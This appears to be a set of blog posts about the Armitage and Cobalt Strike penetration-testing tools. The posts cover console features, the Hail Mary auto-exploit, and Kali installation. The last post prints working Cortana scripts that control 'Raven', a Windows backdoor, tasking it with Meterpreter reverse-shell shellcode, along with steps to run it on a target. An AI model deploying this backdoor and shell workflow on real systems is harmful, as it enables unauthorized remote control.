Cortana is the scripting engine built into Armitage and Cobalt Strike. It’s based on my Sleep scripting language. Most scripting languages have a REPL (Read, Eval, Print Loop) that allows users to experiment with the technology in an interactive way.

I didn’t build an REPL into Cortana natively, but one is available as a script. This script is eval.cna. Go to the Cortana Github repository, download eval.cna, and load it into Armitage or Cobalt Strike. You can do this through the Armitage -> Scripts.

Go to View -> Script Console to open the Cortana console. The eval.cna script adds three commands to the Cortana console. These are x, ?, and e.

The x command evaluates an expression and prints the result. In Sleep, this is anything you can assign to a variable or pass as an argument to a function. For example, x 2 + 2 prints out 4.

The ? command evaluates a Sleep predicate expression and prints whether its true or false. A predicate is anything you can use in an if statement or while loop. For example, ? -iswinmeterpreter 1 prints true if session 1 is a Windows Meterpreter session.

Finally, the e command evaluates one or more Sleep statements. Use this command to quickly try out a for loop or a more complicated series of statements.

These commands make it very easy to explore Cortana and interactively interrogate your Cobalt Strike or Armitage instance. If you’d like to learn more about Cortana, I recommend that you consult its documentation.

I have a philosophy. Armitage should make common actions simple and efficient. As soon as you need to break away into an uncommon action, use a console. Because the console is so important in Armitage’s use, I put a lot of effort into making Armitage a solid interface to use the Metasploit Framework console through. There’s a lot of shortcuts and other valuable tools in the Armitage console. I don’t think many folks are aware of these, so I’d like to take you through a few of them now.

To open a Metasploit Framework console tab in Armitage, go to View -> Console. You may open as many console tabs as you like.

To search for text use Ctrl+F. This shortcut will show a search box at the top of your console tab. Type something and press enter. The results will stand out in your console tab.

The Armitage console tab has the same tab completion you’d enjoy in the msfconsole program.

Armitage’s console tab keeps a command history. Use the up arrow to go back and the down arrow to go to the next command in the history.

To put a console tab in its own window, press Ctrl+W.

To close a tab, press Ctrl+D.

You may rename a console tab to. Right-click on the X in the tab and select rename. This is a great way to keep track of tabs dedicated to a special purpose.

To interact with a session you could type sessions in a console tab or just press Ctrl+I. This shortcut will open a dialog where you may choose a session to interact with.

To clear the edit box in a console tab, press Escape.

To increase the font size in a console, use Ctrl+Plus. To decrease the font size use Ctrl+Minus. Ctrl+Backspace resets the font to the default. This feature is wonderful for demonstrations.

Armitage logs each console tab. Go to View -> Reporting -> Activity Logs to open the logs folder.

Several times now, an author has introduced Armitage, and the main value add to the hacking process that they emphasize is the “devastating” Hail Mary attack. I’m most proud of Armitage’s red team collaboration capability–it’s why I built the tool in the first place. The Hail Mary attack? Meh. That said, I’d like to share with you how the Hail Mary attack came to be.

I released Armitage in late November 2010. In a December 2010 PaulDotCom episode, Larry reviewed Armitage. I’m a PaulDotCom fan and so I was very excited to watch this. He tried out an Armitage menu that launched the now defunct db_autopwn and a lot of the conversation in that review centered around the poor behavior of that particular feature.

For those that don’t remember, db_autopwn is a former Metasploit Framework feature to automatically launch exploits against everything in the database. The feature was never very smart though. You could opt to launch exploits based on open service or imported vulnerabilities. If you launched by open service, db_autopwn would unleash every exploit that matched each open service. It didn’t attempt to order the exploits or stagger them in a smart way, it just launched them. More amusingly, it didn’t discriminate at all, the db_autopwn feature would launch exploits for all operating systems against each open service.

The Armitage menu item to launch db_autopwn was called the Hail Mary. Why? Because, in my mind, you would only use db_autopwn as a desperate measure.

For all of the things brought up during the review, db_autopwn’s weaknesses were the thing I decided to address right away.

http://blip.tv/pauldotcom/armitage-gui-pauldotcom-episode-223-tech-segment-4532832

I opted to make an intelligent auto-exploitation feature. The algorithm is pretty basic:

1. For each host, map open services to Metasploit Framework exploits
2. Remove exploits that do not meet a minimum reliability criteria
3. Remove exploits that do not match the host’s operating system
4. Sort the exploits by reliability first and date of release second. The newest and most reliable exploits should fire first.
5. Launch it!

There’s no real magic to the above algorithm. Even though this algorithm is smarter than db_autopwn, I kept the name Hail Mary to reflect my feelings on this kind of attack. The Hail Mary is not a precision strike. It’s a blunt instrument. It’s loud and there’s not a lot of room for configuration. Push the button and see what happens.

My attack process doesn’t have a place for a Hail Mary-like feature, but I’ve heard some people use it to test their IDS or create noise. Here’s an old video with this attack in action:

db_autopwn was removed from the Metasploit Framework in late 2011. Funny, I’ve run into people who have kept a second install of Metasploit around just to continue to have access to this feature.

With the constant emphasis on the Hail Mary, maybe there are more folks who miss db_autopwn than I thought?

Last week, I received an email from Tod B. at Rapid7 stating that the next binary installer of Metasploit would ship without Armitage and msfgui. Metasploit 4.6 drops both programs. According to Tod, the Metasploit Framework repository on Github will also drop both projects in the near future.

The reason given is that Rapid7 does not want to confuse users about which products they do and do not support.

When I released Armitage in November 2010, I had one simple goal–release something that would get into BackTrack Linux. I didn’t expect that it would make it into the Metasploit Framework. I even had a license scheme that prohibited it (GPLv2). HD Moore approached me and asked me to change my license to BSD. If I agreed to change my license, HD would ship Armitage with the Metasploit Framework. I never expected this and I always saw this distribution as a privilege, not a right.

Thank you HD and Rapid7 for making Armitage part of the Metasploit Framework for the past two years.

For the thousands of Armitage hackers out there, I’d like to clarify how this affects you. The short answer… this isn’t a big deal.

• I maintain Armitage and will continue to do so. I average one release every six weeks or so. In fact, I pushed a release yesterday.
• I do not have an automated update process for Armitage. You’ll have to download it from its homepage. You can signup to get an email notification when a new Armitage update is available.
• Armitage still works out of the box with a properly installed Metasploit environment. If you have Metasploit Community Edition setup, you can download Armitage, extract it, and run it. It will work like it always has.
• You can use Armitage with Kali Linux as well.
• If you’d like to support my work, Cobalt Strike is the way to do it. Check that it supports your needs first (I’m a value in exchange for value kind of hacker). If Cobalt Strike isn’t for you, but you still love Armitage, a simple thank you is good too.

The Armitage homepage is still http://www.fastandeasyhacking.com/

As you may know, the highly anticipated Kali Linux is now available. If you’ve fired it up, you may notice it’s missing a familiar tool. Armitage is not present. The Kali Linux team added an Armitage package to its repository today. To get it:

apt-get install armitage

Before you start Armitage, make sure the postgresql database is running:

service postgresql start

If you get a missing database.yml error, type:

service metasploit start

Update 22 May 13 – The Getting Started with Armitage and the Metasploit Framework (2013 Edition) is now up to date with instructions for Kali Linux. I recommend giving it a read.

One of the goals of Cortana is to give you the ability to integrate third-party tools and agents into Armitage and Cobalt Strike’s red team collaboration architecture. Last year, I was able to put the base language together, but the API had a major gap. There was no sanctioned way for Cortana bots to communicate with each other. Without this ability, I could not integrate a tool in the way this diagram envisions:

The latest Armitage and Cobalt Strike update addressed this gap by adding publish, query, and subscribe primitives to the Cortana API. Any script may publish data that other scripts (even across the team server) may consume. The query function makes it possible for any script to consume published data, in the order it happened. Optionally, scripts may share a “cursor”, so only one script may consume any published item or scripts may each provide their own cursor allowing each script to consume all published items in the order they’re made available. Scripts also have the option to subscribe to data. The subscribe function has Cortana periodically poll the team server, query data, and fire local events when new data is available. These three primitives are very powerful tools.

Let’s Integrate Raven

In the Cortana github repository is a Windows backdoor called Raven. Raven regularly polls a web server for taskings. These taskings are shellcode that Raven injects into a new notepad.exe proces. With today’s update, Raven gets a user interface and provides an example of integrating third-party agents into Armitage and Cobalt Strike through Cortana.

Here’s how it works

One system hosts the web server that Raven communicates to. To bridge Raven into the red team collaboration architecture, this system runs a server.cna script. This script watches Raven checkins by tailing the web server’s access.log file. When someone connects to the web server, it publishes information that clients may consume. Likewise, this server script subscribes to any commands that clients have published. When a client publishes a command (containing a URI and shellcode), this script creates that file on the web server so the Raven agent can download this task when it checks in next.

Here’s the code to server.cna:

global('$WEBROOT $WEBLOG');

# where are your web files served from?
$WEBROOT = "/var/www/";

# where is your Apache2 access.log?
$WEBLOG = "/var/log/apache2/access.log";

# this event fires when a command is published by client.cna
on raven_command {
local('$file $shellcode $handle');
($file, $shellcode) = $1;

if ($shellcode eq "") {
deleteFile(getFileProper($WEBROOT, $file));
}
else {
$handle = openf("> $+ $WEBROOT $+ $file");
writeb($handle, $shellcode);
closef($handle);
}
}

# Cortana does not like blocking. If you're going to perform an action that blocks, use
# &fork to create a new thread that performs the blocking activity. You can communicate
# with the rest of your script by firing a local event from your fork. Or you can make
# info available globally by publishing information from your fork.
fork({
local('$handle $text $host $uri $status $size');

# we're going to watch the weblog with tail. *pHEAR*
$handle = exec("tail -f $WEBLOG");

while $text (readln($handle)) {
if ($text ismatch '(.*?) - - .*? \\"GET (.*?) HTTP.1..\\" (\\d+) (\\d+) .*') {
($host, $uri, $status, $size) = matched();

# publish information on our checkin for client.cna to consume
publish("raven_checkin", %(host => $host, uri => $uri, status => $status, size => $size));
}
}
}, \$WEBLOG);

# subscribe to any commands client.cna publishes. Check every 10s for new ones.
subscribe('raven_command', '', '10s');

Thanks to server.cna, we now have a feed of data that raven clients may consume. We also have a way to publish data for the raven agent to act on. Now, we need a client. The client should subscribe to commands that server.cna publishes and present this information to the user. The client should also give the user a way to task the Raven agent. And, the client should give the user a way to configure a Raven DLL or executable.

Fortunately, Cortana was always good at this part. I took a lot of the GUI conventions that exist in Armitage and made them simple to recreate from a script. Here’s what the client.cna I wrote looks like:

Here’s the client.cna script:

# create a popup for the Raven manager, View -> Raven
popup view_middle {
item "&Raven" {
# &spawn is a special function. It accepts a function as an argument
# and runs it in a new Cortana environment. This is like "new Object()"
# in other programming languages. I can now have multiple Raven instances
# at one time. They'll work independently of each other because of the
# isolation &spawn provides.
spawn(&raven_manager);
}
}

# a function to task our agent...
sub task {
local('$uri $host $port $shellcode');
$uri = table_selected_single($1, "uri")[0];
($host, $port) = split(":", prompt_text("listener host:port"));

# tell the framework to generate shellcode for us
$shellcode = generate($2, $host, $port, %(), "raw");

# publish a command for server.cna to act on
publish("raven_command", @($uri, $shellcode));
}

# define popups for our raven manager
popup raven_tasks {
item "Meterp TCP" {
task($1, "windows/meterpreter/reverse_tcp");
}
item "Meterp HTTP" {
task($1, "windows/meterpreter/reverse_http");
}
item "Meterp HTTPS" {
task($1, "windows/meterpreter/reverse_https");
}
separator();
item "Clear" {
local('$uri');
$uri = table_selected_single($1, "uri")[0];
publish("raven_command", @($uri, ""));
}
}

sub raven_manager {
global('$table %checkins $id');

# fired when server.cna publishes a checkin notice for clients to consume
on raven_checkin {
# store our most recent checkin
local('$key');
$key = $1['host'] . $1['uri'];
%checkins[$key] = $1;
%checkins[$key]['last'] = "now";
%checkins[$key]['time'] = ticks();

# sets our table rows
table_update($table, values(%checkins));
}

# update our Raven table every 1s.
on heartbeat_1s {
local('$host $data');
foreach $host => $data (%checkins) {
$data['last'] = ((ticks() - $data['time']) / 1000) . 's';
}

table_update($table, values(%checkins));
}

# fired when user clicks "Task Raven" or "Raven EXE" buttons
on tab_table_click {
if ($3 eq "Export EXE") {
generate_raven(script_resource("raven.exe"));
}
else if ($3 eq "Export DLL") {
generate_raven(script_resource("raven.dll"));
}
}

# stop any ongoing activity related to this spawned cortana instance when the tab closes
on tab_table_close {
quit();
}

# display a tab with a table showing our raven checkins...
$table = open_table_tab("Raven", $null,
@('host', 'uri', 'status', 'size', 'last'), # columns
@(),                        # rows
@("Export DLL", "Export EXE"),          # buttons
"raven_tasks",                  # popup hook
$null);                     # no multiple selections

# generate a random id that acts as a cursor identifier for all raven checkins
$id = rand(ticks());

# query all checkins so far and add them to our data store
foreach $checkin (query("raven_checkin", $id)) {
$checkin['time'] = ticks();
$checkin['last'] = "unknown";
%checkins[$checkin['host'] . $checkin['uri']] = $checkin;
}

# subscribe to all future checkins... check for changes every 5s
subscribe("raven_checkin", $id, "5s");
}

# this function patches raven.exe and raven.dll with user provided info
# it will look for 1024 A's and patch our strng in there. It then saves
# this patched function where ever the user would like it.
sub generate_raven {
local('$urls $handle $data $index $saveto');
$urls = prompt_text("Which URLs should I call back to?\ne.g., http://host1/file1, http://host2/file2, etc.");
if ($urls eq "") {
return;
}
$urls = join(',', split(',\s+', $urls));

$saveto = prompt_file_save("");
if ($saveto eq "") {
return;
}

$handle = openf($1);
$data = readb($handle, -1);
closef($handle);

$index = indexOf($data, 'A' x 1024);

$urls .= "\x00";
$data = replaceAt($data, "$[1024]urls", $index);

$handle = openf('>' . $saveto);
writeb($handle, $data);
closef($handle);

show_message("Saved");
}

How to try it…

To use these scripts, simply follow these steps on a BackTrack Linux system:

1. In a terminal, start the web server: service apache2 start
2. Make sure you have the latest Armitage release and start it
3. Go to View -> Script Console
4. Type: load /path/to/server.cna
5. Type: load /path/to/client.cna
6. Go to View -> Raven
7. Press Export EXE and create a Raven executable that points to your BackTrack system (e.g., http://your ip/foo)
8. Run this EXE on a Windows target
9. Start a multi/handler for windows/meterpreter/reverse_tcp on port 4444
10. When the agent checks in, right-click it in the Raven tab, and task it to give you a Meterpreter TCP session on your ip:4444

The beauty of this system is that I have to create client.cna and server.cna once. Now, any number of users connecting to my team server (locally or remotely) may load client.cna. They now have the ability to control this Raven agent managed by server.cna for me.

This integration doesn’t have to apply just to agents. If there’s a tool with an RPC interface, you may create a server.cna script that exposes its capabilities to a client.cna script that you write.

This was always part of the vision behind Cortana. Unfortunately, one year ago, the team server didn’t have the primitives to support a publish, query, subscribe API. It does now.